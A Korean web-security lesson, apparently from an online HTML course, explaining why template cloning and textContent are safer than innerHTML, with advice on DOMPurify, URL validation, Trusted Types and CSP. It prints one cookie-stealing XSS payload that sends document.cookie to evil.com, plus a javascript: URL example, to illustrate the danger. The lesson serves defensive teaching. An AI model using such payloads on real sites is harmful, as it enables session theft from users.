HTML Academy · 강의

template과 innerHTML의 보안 비교

innerHTML 설정 방식보다 template이 안전한 이유 이해하기

레슨 4/413개 단계

template과 innerHTML의 보안 비교은(는) CoddyKit의 무료 HTML Academy 강의입니다. 이것은 4개 중 4번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 HTML Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. HTML Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

innerHTML 삽입 위험

el.innerHTML = userInput은 문자열을 HTML로 파싱합니다. userInput에 <script>나 onerror와 같은 이벤트 처리기가 포함되어 있으면 브라우저가 이를 실행하여 사이트 간 스크립팅(Cross-Site Scripting, XSS) 취약점이 발생합니다.

innerHTML을 통한 XSS 예시

공격자가 사용자 이름을 제출합니다: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. 이를 innerHTML로 렌더링하면 onerror가 실행되어 세션 쿠키가 유출됩니다. 텍스트 콘텐츠가 실행 가능한 코드가 되는 것입니다.

textContent는 안전함

el.textContent = userInput은 문자열을 일반 텍스트로 처리하므로 HTML 파싱이나 스크립트 실행이 발생하지 않습니다. 브라우저는 텍스트 노드에서 <와 >를 자동으로 이스케이프합니다. 사용자가 제공한 값에는 항상 textContent를 사용하십시오.

// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;

template 요소는 문자열 파싱을 피함

template.cloneNode(true)을 사용하면 구조가 사용자가 제공한 문자열이 아니라 미리 파싱된 HTML template에서 가져옵니다. 복제된 노드에서 textContent로 값을 설정하면 사용자 data가 파싱된 HTML이 아닌 텍스트 노드에만 저장됩니다. 구조와 data가 분리되는 것입니다.

innerHTML이 필요할 때의 정제

사용자가 입력한 HTML 형식(서식 있는 텍스트)이 필요한 경우 innerHTML을 설정하기 전에 정제해야 합니다. 표준 라이브러리인 DOMPurify를 사용합니다: el.innerHTML = DOMPurify.sanitize(richHtml). 안전하지 않은 태그와 속성을 제거하면서 안전한 서식은 유지합니다.

insertAdjacentHTML의 위험

insertAdjacentHTML("beforeend", html)도 HTML 문자열을 파싱하므로 innerHTML과 동일한 XSS 위험이 있습니다. 동일한 정제 규칙을 적용하십시오. 더 안전한 방법은 createElement로 요소를 만들고 textContent를 설정한 다음 appendChild를 사용하는 것입니다.

setAttribute 보안

사용자 data로 속성을 설정하면 삽입 공격이 발생할 수 있습니다. 예를 들어 el.setAttribute("href", userUrl)에서 userUrl이 javascript:alert(1)이면 XSS가 발생합니다. href 또는 src 속성을 설정하기 전에 URL 스킴을 검증하여 http:, https:, mailto:만 허용하십시오.

DOM 이름 충돌

DOM 이름 충돌은 이름이 지정된 양식 요소(id="getElementById")가 전역 JavaScript 변수를 덮어쓰는 공격입니다. 전역 window 속성 대신 항상 document.getElementById()를 통해 요소에 접근하십시오. 콘텐츠 보안 정책도 이름 충돌 공격을 완화합니다.

Trusted Types 정책

Trusted Types(Chrome에서 CSP를 통해 적용됨)는 모든 innerHTML, insertAdjacentHTML 및 유사한 데이터 싱크가 정책으로 감싼 문자열을 받도록 요구합니다. 원시 문자열은 할당할 수 없고, 선언된 TrustedTypes 정책으로 생성한 값만 사용할 수 있습니다. 이를 통해 정제를 실수로 우회하는 일을 방지합니다.

DocumentFragment의 안전성

DOM API(createElement, createTextNode)를 사용하여 요소를 만들고 이를 DocumentFragment에서 조작하면 본질적으로 XSS에 안전합니다. 텍스트는 항상 텍스트로 처리되며 파싱된 HTML이 되지 않기 때문입니다. DocumentFragments는 복잡한 동적 UI를 구축하는 가장 안전한 방법입니다.

콘텐츠 보안 정책

엄격한 CSP(unsafe-inline을 사용하지 않고 nonce 기반 스크립트를 사용하는 정책)는 XSS에 대한 심층 방어를 제공합니다. 공격자가 HTML을 삽입하더라도 CSP가 삽입된 스크립트의 실행을 막습니다. CSP가 정제의 필요성을 없애는 것은 아닙니다. CSP는 기본 방어 수단이 아니라 안전망입니다.

지식 확인

사용자가 제공한 data를 렌더링할 때 textContent가 innerHTML보다 안전한 이유는 무엇입니까?

요약

innerHTML 및 관련 API는 HTML 문자열을 파싱하므로, 정제하지 않은 사용자 data를 삽입하면 XSS 취약점이 발생합니다. textContent, textContent로 값을 채우는 template 복제, 서식 있는 텍스트를 위한 DOMPurify, 콘텐츠 보안 정책을 함께 사용하면 HTML 삽입 공격에 대한 다층 방어를 구축할 수 있습니다.

무료로 시작

AI 튜터와 함께 HTML을(를) 배우세요 — 무료

브라우저에서 실제 코드를 작성하고 실행하며, 24/7 AI 튜터로부터 즉각적인 도움을 받고, 웹이나 앱에서 중단한 부분부터 계속 학습하세요.

코스
40
레슨
159

자주 묻는 질문

“template과 innerHTML의 보안 비교” 강의는 무료인가요?

네 — “template과 innerHTML의 보안 비교” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 HTML Academy 강의 전체를 잠금 해제할 수 있습니다. HTML Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“template과 innerHTML의 보안 비교”에서 뭘 배우나요?

innerHTML 설정 방식보다 template이 안전한 이유 이해하기 브라우저에서 직접 실행하는 실습 코드로 HTML Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

HTML Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 HTML Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 4번째 강의입니다.

“template과 innerHTML의 보안 비교” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 HTML Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 HTML Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

  1. template 요소 비활성 콘텐츠
  2. cloneNode로 템플릿 복제하기
  3. JavaScript 렌더링에 template 사용하기
  4. template과 innerHTML의 보안 비교
← HTML Academy(으)로 돌아가기